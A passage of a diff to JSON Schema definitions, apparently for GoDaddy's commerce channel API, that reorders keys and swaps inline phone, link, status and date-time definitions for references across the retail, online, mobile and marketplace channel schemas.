"https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "alias": { + "description": "Alias for the location", + "maxLength": 128, + "type": "string" }, "contacts": { - "type": "array", "description": "Contact details of the location", "items": { - "type": "object", - "title": "Retail Location Contact", "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" - }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] + "$ref": "../common-types/phone.json", + "description": "Phone number details" + }, + "type": { + "$ref": "../common-types/phone-type.json", + "description": "Type of the contact phone" } - } - } + }, + "title": "Retail Location Contact", + "type": "object" + }, + "type": "array" } - } + }, + "title": "Retail Location", + "type": "object" } - } + }, + "title": "Retail Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Online Channel", - "type": "object", - "description": "Resource representing the Online Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "maxLength": 64, + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -6032,237 +6319,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ "storeId" - ] + ], + "title": "RegisteredStore", + "type": "object" }, "type": "array" }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } - ] + ], + "description": "Resource representing the Online Channel", + "title": "Online Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Mobile Channel", - "type": "object", - "description": "Resource representing the Mobile Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "maxLength": 64, + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -6270,57 +6553,164 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ "storeId" - ] + ], + "title": "RegisteredStore", + "type": "object" }, "type": "array" }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Mobile Channel", + "title": "Mobile Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", - "type": "string" + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", @@ -6329,178 +6719,67 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": 